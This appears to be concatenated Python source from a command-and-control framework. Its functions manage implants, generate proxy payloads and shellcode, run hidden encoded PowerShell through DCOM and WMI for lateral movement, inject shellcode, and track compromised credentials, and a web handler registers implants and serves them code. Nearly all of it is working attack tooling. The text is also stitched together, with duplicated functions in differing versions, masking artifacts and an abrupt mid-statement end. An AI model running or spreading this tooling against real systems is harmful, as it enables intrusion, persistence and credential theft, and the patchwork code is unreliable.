def do_sharpwmi_execute(user, command, randomuri): style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("%s payload=%s" % (command, payload), user, randomuri) else: print_bad("Could not find file")
def do_generate_reports(user, command): try: generate_html_table("Tasks") generate_html_table("C2Server") generate_html_table("Creds") generate_html_table("Implants") generate_html_table("URLs") generate_html_table("OpSec_Entry") graphviz() generate_csv("Tasks") generate_csv("C2Server") generate_csv("Creds") generate_csv("Implants") generate_csv("OpSec_Entry") generate_opsec(user, command) except PermissionError as e: print_bad(str(e)) input("Press Enter to continue...") clear()
def do_upload_file(user, command, randomuri): source = "" destination = "" nothidden = False if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print_bad("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") nothidden = yes_no_prompt("Do not hide the file:") else: args = argp(command) source = args.source destination = args.destination nothidden = args.nothidden try: print("Uploading %s to %s" % (source, destination)) if (nothidden): uploadcommand = f"upload-file {source} {destination} -NotHidden ${nothidden}" else: uploadcommand = f"upload-file {source} {destination}" new_task(uploadcommand, user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc()
def do_invoke_runasproxypayload(user, command, randomuri): C2 = get_c2server_all() if C2[11] == "": print_bad("Need to run createproxypayload first") return else: newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[17], C2[18], C2[19], "%s?p" % get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload new_task(proxyvar, user, randomuri) check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipeProxy.ps1", randomuri, user) params = re.compile("invoke-runasproxypayload ", re.IGNORECASE) params = params.sub("", command) pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri)
def do_invoke_dcompayload(user, command, randomuri): style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.payload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: print_bad("Need to run createnewpayload first") return
def do_inject_shellcode(user, command, randomuri): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: arch = "64" new_task("$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri) except Exception as e: print_bad("Error loading file: %s" % e)
def do_add_hosted_file(user, command): FilePath = input("File Path: .e.g. /tmp/application.docx: ") URI = input("URI Path: .e.g. /downloads/2020/application: ") ContentType = input("Content Type: .e.g. (text/html): ") if ContentType == "": ContentType = "text/html" Base64 = no_yes_prompt("Base64 Encode File") if not Base64: Base64 = "No" else: Base64 = "Yes" if not URI or not FilePath: print_bad("Please enter a FilePath and URI") input("Press Enter to continue...") clear() return insert_hosted_file(URI, FilePath, ContentType, Base64, "Yes") FirstURL = get_first_url(select_item("PayloadCommsHost", "C2Server"), select_item("DomainFrontHeader", "C2Server")) print_good("Added hosted-file \n\n%s%s -> %s (%s)\r\n" % (FirstURL, URI, FilePath, ContentType)) do_show_hosted_files(user, command) clear()
def do_createproxypayload(user, command, creds=None): params = re.compile("createproxypayload ", re.IGNORECASE) params = params.sub("", command) creds = None if "-credid" in params: creds, params = get_creds_from_params(params, user) if creds is None: return if not creds['Password']: print_bad("This command does not support credentials with hashes") input("Press Enter to continue...") clear() return if creds is not None: proxyuser = "******" % (creds['Domain'], creds['Username']) proxypass = creds['Password'] else: proxyuser = input(Colours.GREEN + "Proxy User: e.g. Domain\\user ") proxypass = input("Proxy Password: e.g. Password1 ") proxyurl = input(Colours.GREEN + "Proxy URL: .e.g. http://10.150.10.1:8080 ") credsexpire = input("Password/Account Expiration Date: .e.g. 15/03/2018 ") update_item("ProxyURL", "C2Server", proxyurl) update_item("ProxyUser", "C2Server", proxyuser) update_item("ProxyPass", "C2Server", proxypass) C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) newPayload.CreateRaw("Proxy") newPayload.CreateDlls("Proxy") newPayload.CreateShellcode("Proxy") newPayload.CreateEXE("Proxy") newPayload.CreateMsbuild("Proxy") newPayload.CreateCS("Proxy") new_urldetails("Proxy", C2[1], C2[3], proxyurl, proxyuser, proxypass, credsexpire) print_good("Created new proxy payloads") input("Press Enter to continue...") clear()
def do_invoke_wmipayload(user, command, randomuri): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.payload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() params = re.compile("invoke-wmipayload ", re.IGNORECASE) params = params.sub("", command) cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: print_bad("Need to run createdaisypayload first") return
def do_upload_file(user, command, randomuri): source = "" destination = "" s = "" nothidden = False if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print_bad("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination nothidden = args.nothidden try: with open(source, "rb") as source_file: s = source_file.read() if s: sourceb64 = base64.b64encode(s).decode("utf-8") destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) if (nothidden): uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % ( destination, nothidden, sourceb64) else: uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % ( destination, sourceb64) new_task(uploadcommand, user, randomuri) else: print_bad("Source file could not be read or was empty") except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc()
def do_creds(user, command): if "-add " in command: p = re.compile(r"-domain=([^\s]*)") domain = re.search(p, command) if domain: domain = domain.group(1) p = re.compile(r"-username=([^\s]*)") username = re.search(p, command) if username: username = username.group(1) p = re.compile(r"-password=([^\s]*)") password = re.search(p, command) if password: password = password.group(1) else: p = re.compile(r"-password=([^\s]*)") password = re.search(p, command) if password: password = password.group(1) p = re.compile(r"-hash=([^\s]*)") hash = re.search(p, command) if hash: hash = hash.group(1) if not domain or not username: print_bad("Please specify a domain and username") return if password and hash: print_bad("Please specify a password or a hash, but not both") return if not password and not hash: print_bad("Please specify either a password or a hash") return insert_cred(domain, username, password, hash) print_good("Credential added successfully") return elif "-search " in command: username = command.replace("creds ", "") username = username.replace("-search ", "") username = username.strip() creds, hashes = parse_creds(get_creds_for_user(username)) print_good("Credentials Compromised: \n%s\nHashes Compromised: \n%s" % (creds, hashes)) return else: creds, hashes = parse_creds(get_creds()) print_good( "\nCredentials Compromised: \n%s\nHashes Compromised: \n%s" % (creds, hashes))
def implant_handler_command_loop(user, printhelp=""): while (True): session = PromptSession(history=FileHistory('%s/.top-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory()) try: if user is not None: print("User: "******"%s%s" % (user, Colours.GREEN)) print("") implants = get_implants() if implants: for implant in implants: ID = implant[0] LastSeen = implant[7] Hostname = implant[3] Domain = implant[11] DomainUser = implant[2] Arch = implant[10] PID = implant[8] Pivot = implant[15] Sleep = implant[13].strip() Label = implant[16] Pivot = get_implant_type_prompt_prefix(ID) LastSeenTime = datetime.strptime(LastSeen, "%d/%m/%Y %H:%M:%S") now = datetime.now() if (Sleep.endswith('s')): sleep_int = int(Sleep[:-1]) elif (Sleep.endswith('m')): sleep_int = int(Sleep[:-1]) * 60 elif (Sleep.endswith('h')): sleep_int = int(Sleep[:-1]) * 60 * 60 else: print(Colours.RED) print("Incorrect sleep format: %s" % Sleep) print(Colours.GREEN) continue nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3)) nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10)) sID = "[" + str(ID) + "]" if not Label: sLabel = "" else: sLabel = "[" + Label + "]" if nowMinus10Beacons > LastSeenTime: print( Colours.RED + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) elif nowMinus3Beacons > LastSeenTime: print( Colours.YELLOW + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) else: print( Colours.GREEN + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) else: now = datetime.now() print(Colours.RED + "No Implants as of: %s" % now.strftime("%d/%m/%Y %H:%M:%S")) if printhelp: print(printhelp) command = session.prompt( "\nSelect ImplantID or ALL or Comma Separated List (Enter to refresh):: ", completer=FirstWordFuzzyWordCompleter(PRECOMMANDS, WORD=True)) print("") command = command.strip() if (command == "") or (command == "back") or (command == "clear"): do_back(user, command) continue if command.startswith("output-to-html"): do_output_to_html(user, command) continue if command.startswith("generate-reports"): do_generate_reports(user, command) continue if command.startswith("message "): do_message(user, command) continue if command.startswith("show-urls") or command.startswith( "list-urls"): do_show_urls(user, command) continue if command.startswith("add-autorun"): do_add_autorun(user, command) continue if command.startswith("list-autorun"): do_list_autoruns(user, command) continue if command.startswith("del-autorun"): do_del_autorun(user, command) continue if command.startswith("nuke-autorun"): do_nuke_autoruns(user, command) continue if (command == "automigrate-frompowershell") or (command == "am"): do_automigrate_frompowershell(user, command) continue if command.startswith("show-serverinfo"): do_show_serverinfo(user, command) continue if command.startswith("turnoff-notifications"): do_turnoff_notifications(user, command) continue if command.startswith("turnon-notifications"): do_turnon_notifications(user, command) continue if command.startswith("set-clockworksmsapikey"): do_set_clockworksmsapikey(user, command) continue if command.startswith("set-clockworksmsnumber"): do_set_clockworksmsnumber(user, command) continue if command.startswith("set-killdate"): do_set_killdate(user, command) continue if command.startswith("set-defaultbeacon"): do_set_defaultbeacon(user, command) continue if command.startswith("opsec"): do_opsec(user, command) continue if command.startswith("listmodules"): do_listmodules(user, command) continue if command.startswith('creds ') or command.strip() == "creds": do_creds(user, command) input("Press Enter to continue...") clear() continue if (command == "pwnself") or (command == "p"): do_pwnself(user, command) continue if command == "tasks": do_tasks(user, command) continue if command == "cleartasks": do_cleartasks(user, command) continue if command.startswith("quit"): do_quit(user, command) continue if command.startswith("createdaisypayload"): do_createdaisypayload(user, command) continue if command.startswith("createproxypayload"): do_createproxypayload(user, command) continue if command.startswith("createnewpayload"): do_createnewpayload(user, command) continue if command == "help": do_help(user, command) continue if command == "history": do_history(user, command) continue if command.startswith("use "): do_use(user, command) implant_command_loop(command, user) except KeyboardInterrupt: clear() continue except EOFError: new_c2_message("%s logged off." % user) sys.exit(0) except Exception as e: if 'unable to open database file' not in str(e): print_bad("Error: %s" % e)
def do_output_to_html(user, command): print_bad("This command has been retired, please use generate-reports") input("Press Enter to continue...") clear()
def implant_command_loop(implant_id, user): while (True): try: style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.implant-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) implant_id_orig = implant_id if ("-" in implant_id) or ("all" in implant_id) or ("," in implant_id): print(Colours.GREEN) prompt_commands = COMMANDS command = session.prompt("%s> " % implant_id, completer=FirstWordFuzzyWordCompleter( prompt_commands, WORD=True)) if command == "back" or command == 'clear': do_back(user, command) return else: hostname = get_hostdetails(implant_id) if not hostname: print_bad("Unrecognised implant id or command: %s" % implant_id) return prompt_commands = COMMANDS if hostname[15] == 'Python': prompt_commands = UXCOMMANDS if hostname[15] == 'C#': prompt_commands = SHARPCOMMANDS print(Colours.GREEN) print("%s\\%s @ %s (PID:%s)" % (hostname[11], hostname[2], hostname[3], hostname[8])) command = session.prompt( "%s %s> " % (get_implant_type_prompt_prefix(implant_id), implant_id), completer=FirstWordFuzzyWordCompleter(prompt_commands, WORD=True)) if command == "back" or command == 'clear': do_back(user, command) return # if "all" run through all implants get_implants() if implant_id == "all": if command == "back" or command == 'clear': do_back(user, command) return allcommands = command if "\n" in command: ri = input( "Do you want to run commands separately? (Y/n) ") implants_split = get_implants() if implants_split: for implant_details in implants_split: # if "\n" in command run each command individually or ask the question if that's what they want to do if "\n" in allcommands: if ri.lower() == "y" or ri == "": commands = allcommands.split('\n') for command in commands: run_implant_command( command, implant_details[1], implant_id_orig, user) else: run_implant_command(command, implant_details[1], implant_id_orig, user) else: run_implant_command(command, implant_details[1], implant_id_orig, user) # if "separated list" against single uri elif "," in implant_id: allcommands = command if "\n" in command: ri = input( "Do you want to run commands separately? (Y/n) ") implant_split = implant_id.split(",") for split_implant_id in implant_split: implant_randomuri = get_randomuri(split_implant_id) # if "\n" in command run each command individually or ask the question if that's what they want to do if "\n" in allcommands: if ri.lower() == "y" or ri == "": commands = allcommands.split('\n') for command in commands: run_implant_command(command, implant_randomuri, implant_id_orig, user) else: run_implant_command(command, implant_randomuri, implant_id_orig, user) else: run_implant_command(command, implant_randomuri, implant_id_orig, user) # if "range" against single uri elif "-" in implant_id: allcommands = command if "\n" in command: ri = input( "Do you want to run commands separately? (Y/n) ") implant_split = implant_id.split("-") for range_implant_id in range(int(implant_split[0]), int(implant_split[1]) + 1): try: implant_randomuri = get_randomuri(range_implant_id) # if "\n" in command run each command individually or ask the question if that's what they want to do if "\n" in allcommands: if ri.lower() == "y" or ri == "": commands = allcommands.split('\n') for command in commands: run_implant_command( command, implant_randomuri, implant_id_orig, user) else: run_implant_command(command, implant_randomuri, implant_id_orig, user) else: run_implant_command(command, implant_randomuri, implant_id_orig, user) except Exception: print_bad("Unknown ImplantID") # else run against single uri else: allcommands = command if "\n" in command: ri = input( "Do you want to run commands separately? (Y/n) ") implant_randomuri = get_randomuri(implant_id) # if "\n" in command run each command individually or ask the question if that's what they want to do if "\n" in allcommands: if ri.lower() == "y" or ri == "": commands = allcommands.split('\n') for command in commands: run_implant_command(command, implant_randomuri, implant_id_orig, user) else: run_implant_command(command, implant_randomuri, implant_id_orig, user) else: run_implant_command(command, implant_randomuri, implant_id_orig, user) except KeyboardInterrupt: continue except EOFError: new_c2_message("%s logged off." % user) sys.exit(0) except Exception as e: traceback.print_exc() print_bad( f"Error running against the selected implant ID, ensure you have typed the correct information: {e}" ) return
def do_GET(self): try: """Respond to a GET request.""" response_content_len = None response_code = 200 response_content_type = "text/html" response_content = None hosted_files = get_hosted_files() webserver_log("GET request,\nPath: %s\nHeaders:\n%s\n" % (str(self.path), str(self.headers))) self.cookieHeader = self.headers.get('Cookie') self.ref = self.headers.get('Referer') UriPath = str(self.path) sharplist = [] for hosted_file in sharpurls: hosted_file = hosted_file.replace(" ", "") hosted_file = hosted_file.replace("\"", "") sharplist.append("/" + hosted_file) self.server_version = ServerHeader self.sys_version = "" if not self.cookieHeader: self.cookieHeader = "NONE" # implant gets a new task new_task = newTask(self.path) if new_task: response_content = new_task elif [ele for ele in sharplist if(ele in UriPath)]: try: webserver_log("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath)) r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent}) res = urlopen(r) sharpout = res.read() response_content_len = len(sharpout) if (len(sharpout) > 0): response_content = sharpout except HTTPError as e: response_code = e.code webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) webserver_log("[-] SharpSocks %s\r\n" % e) except Exception as e: webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) webserver_log("[-] SharpSocks %s\r\n" % e) print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END) response_code = 404 HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: response_content = bytes(HTTPResponsePage, "utf-8") else: response_content = bytes(GET_404_Response, "utf-8") # dynamically hosted files elif [ele for ele in hosted_files if(ele.URI in self.path)]: for hosted_file in hosted_files: if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes": try: response_content = open(hosted_file.FilePath, 'rb').read() except FileNotFoundError as e: print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}") response_content_type = hosted_file.ContentType if hosted_file.Base64 == "Yes": response_content = base64.b64encode(response_content) # do this for the python dropper only if "_py" in hosted_file.URI: response_content = "a" + "".join("{:02x}".format(c) for c in response_content) response_content = bytes(response_content, "utf-8") # register new implant elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"): implant_type = "PS" if self.path == ("%s?p" % new_implant_url): implant_type = "PS Proxy" if self.path == ("%s?d" % new_implant_url): implant_type = "PS Daisy" if self.path == ("%s?m" % new_implant_url): implant_type = "Python" if self.path == ("%s?d?m" % new_implant_url): implant_type = "Python Daisy" if self.path == ("%s?p?m" % new_implant_url): implant_type = "Python Proxy" if self.path == ("%s?c" % new_implant_url): implant_type = "C#" if self.path == ("%s?d?c" % new_implant_url): implant_type = "C# Daisy" if self.path == ("%s?p?c" % new_implant_url): implant_type = "C# Proxy" if self.path == ("%s?j" % new_implant_url): implant_type = "JXA" if self.path == ("%s?e" % new_implant_url): implant_type = "NativeLinux" if self.path == ("%s?p?e" % new_implant_url): implant_type = "NativeLinux Proxy" if implant_type.startswith("C#"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";") URLID = URLID.replace("\x00", "") if "\\" in User: User = User[User.index("\\") + 1:] newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), int(URLID)) newImplant.save() newImplant.display() newImplant.autoruns() response_content = encrypt(KEY, newImplant.SharpCore) elif implant_type.startswith("Python"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) User, Domain, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";") URLID = URLID.replace("\x00", "") newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower(), URLID) newImplant.save() newImplant.display() response_content = encrypt(KEY, newImplant.PythonCore) elif implant_type.startswith("JXA"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) User, Hostname, PID, ProcName, URLID = decCookie.split(";") Domain = Hostname URLID = URLID.replace("\x00", "") URLID = URLID.replace("\x07", "") newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, str(ProcName).lower(), URLID) newImplant.save() newImplant.display() response_content = encrypt(KEY, newImplant.JXACore) elif implant_type.startswith("NativeLinux"): ProcName = "Linux Dropper" cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";") URLID = URLID.replace("\x00", "") newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID) newImplant.save() newImplant.display() response_content=encrypt(KEY, newImplant.NativeCore) else: try: cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY.encode("utf-8"), cookieVal) decCookie = str(decCookie) Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";") URLID = URLID.replace("\x00", "") IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) if "\\" in str(User): User = User[str(User).index('\\') + 1:] newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID) newImplant.save() newImplant.display() newImplant.autoruns() response_content = encrypt(KEY, newImplant.PSCore) except Exception as e: print("Decryption error: %s" % e) traceback.print_exc() response_code = 404 HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: response_content = bytes(HTTPResponsePage, "utf-8") else: response_content = bytes(GET_404_Response, "utf-8") else: response_code = 404 HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: response_content = bytes(HTTPResponsePage, "utf-8") else: response_content = bytes(GET_404_Response, "utf-8") # send response self.send_response(response_code) self.send_header("Content-type", response_content_type) if response_content_len is not None: self.send_header("Connection", "close") self.send_header("Content-Length", response_content_len) self.end_headers() if response_content is not None: self.wfile.write(response_content) except Exception as e: webserver_log("Error handling GET request: " + str(e)) webserver_log(traceback.format_exc())
def implant_handler_command_loop(user, printhelp="", autohide=None): while (True): session = PromptSession(history=FileHistory('%s/.top-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory()) try: if user is not None: print("User: "******"%s%s" % (user, Colours.GREEN)) print() C2 = get_c2server_all() killdate = datetime.strptime(C2.KillDate, '%Y-%m-%d').date() datedifference = number_of_days(date.today(), killdate) if datedifference < 8: print(Colours.RED + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference))) print(Colours.END) print() implants = get_implants() if implants: for implant in implants: ID = implant.ImplantID LastSeen = implant.LastSeen Hostname = implant.Hostname Domain = implant.Domain URLID = implant.URLID DomainUser = implant.User Arch = implant.Arch PID = implant.PID Pivot = implant.Pivot Sleep = implant.Sleep.strip() Label = implant.Label apmsuspendshut = False pwrStatus = get_powerstatusbyrandomuri(implant.RandomURI) if pwrStatus is not None: if Label is not None: Label += " " else: Label = "" apmstatus = pwrStatus[2].lower() if (apmstatus == "shutdown"): Label += "SHTDWN " apmsuspendshut = True elif (apmstatus == "suspend" or apmstatus == "querysuspend"): Label += "SUSPND " apmsuspendshut = True if not apmsuspendshut: if (pwrStatus[7]): Label += "LOCKED " if (not pwrStatus[8]): Label += "SCRN OFF " if (not pwrStatus[3]): if (pwrStatus[6] is not None and pwrStatus[6].isdigit()): Label += ("DSCHRG: %s%% " % pwrStatus[6]) else: Label += ("DSCHRG ") Pivot = get_implant_type_prompt_prefix(ID) LastSeenTime = datetime.strptime(LastSeen, "%Y-%m-%d %H:%M:%S") LastSeenTimeString = datetime.strftime( LastSeenTime, "%Y-%m-%d %H:%M:%S") now = datetime.now() if (Sleep.endswith('s')): sleep_int = int(Sleep[:-1]) elif (Sleep.endswith('m')): sleep_int = int(Sleep[:-1]) * 60 elif (Sleep.endswith('h')): sleep_int = int(Sleep[:-1]) * 60 * 60 else: print(Colours.RED) print("Incorrect sleep format: %s" % Sleep) print(Colours.GREEN) continue nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3)) nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10)) nowMinus30Beacons = now - timedelta(seconds=(sleep_int * 30)) sID = "[" + str(ID) + "]" if not Label: sLabel = "" else: Label = Label.strip() sLabel = Colours.BLUE + "[" + Label + "]" + Colours.GREEN if "C#;PB" in Pivot: print( Colours.BLUE + "%s: Seen:%s | PID:%s | %s | PBind | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) elif nowMinus30Beacons > LastSeenTime and autohide: pass elif nowMinus10Beacons > LastSeenTime: print( Colours.RED + "%s: Seen:%s | PID:%s | %s | URLID: %s | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, URLID, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) elif nowMinus3Beacons > LastSeenTime: print( Colours.YELLOW + "%s: Seen:%s | PID:%s | %s | URLID: %s | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, URLID, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) else: print( Colours.GREEN + "%s: Seen:%s | PID:%s | %s | URLID: %s | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, URLID, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) else: now = datetime.now() print(Colours.RED + "No Implants as of: %s" % now.strftime("%Y-%m-%d %H:%M:%S")) if printhelp: print(printhelp) command = session.prompt( "\nSelect ImplantID or ALL or Comma Separated List (Enter to refresh):: ", completer=FirstWordFuzzyWordCompleter(SERVER_COMMANDS, WORD=True)) print("") command = command.strip() if (command == "") or (command == "back") or (command == "clear"): do_back(user, command) continue if command.startswith("generate-reports"): do_generate_reports(user, command) continue if command.startswith("generate-csvs"): do_generate_csvs(user, command) continue if command.startswith("message "): do_message(user, command) continue if command.startswith("show-hosted-files"): do_show_hosted_files(user, command) continue if command.startswith("add-hosted-file"): do_add_hosted_file(user, command) continue if command.startswith("disable-hosted-file"): do_disable_hosted_file(user, command) continue if command.startswith("enable-hosted-file"): do_enable_hosted_file(user, command) continue if command.startswith("show-urls") or command.startswith( "list-urls"): do_show_urls(user, command) continue if command.startswith("add-autorun"): do_add_autorun(user, command) continue if command.startswith("list-autorun"): do_list_autoruns(user, command) continue if command.startswith("del-autorun"): do_del_autorun(user, command) continue if command.startswith("nuke-autorun"): do_nuke_autoruns(user, command) continue if command.startswith("kill"): do_del_task(user, command) continue if (command == "automigrate-frompowershell") or (command == "am"): do_automigrate_frompowershell(user, command) continue if command.startswith("show-serverinfo"): do_show_serverinfo(user, command) continue if command.startswith("turnoff-notifications"): do_turnoff_notifications(user, command) continue if command.startswith("turnon-notifications"): do_turnon_notifications(user, command) continue if command.startswith("set-pushover-applicationtoken"): do_set_pushover_applicationtoken(user, command) continue if command.startswith("set-pushover-userkeys"): do_set_pushover_userkeys(user, command) continue if command.startswith("get-killdate"): do_get_killdate(user, command) continue if command.startswith("set-killdate"): do_set_killdate(user, command) continue if command.startswith("set-defaultbeacon"): do_set_defaultbeacon(user, command) continue if command == "get-opsec-events": do_get_opsec_events(user, command) continue if command == "add-opsec-event": do_insert_opsec_events(user, command) continue if command == "del-opsec-event": do_del_opsec_events(user, command) continue if command.startswith("opsec"): do_opsec(user, command) continue if command.startswith("listmodules"): do_listmodules(user, command) continue if command.startswith('creds ') or command.strip() == "creds": do_creds(user, command) input("Press Enter to continue...") clear() continue if (command == "pwnself") or (command == "p"): do_pwnself(user, command) continue if command == "tasks": do_tasks(user, command) continue if command == "cleartasks": do_cleartasks(user, command) continue if command.startswith("quit"): do_quit(user, command) continue if command.startswith("createdaisypayload"): do_createdaisypayload(user, command) continue if 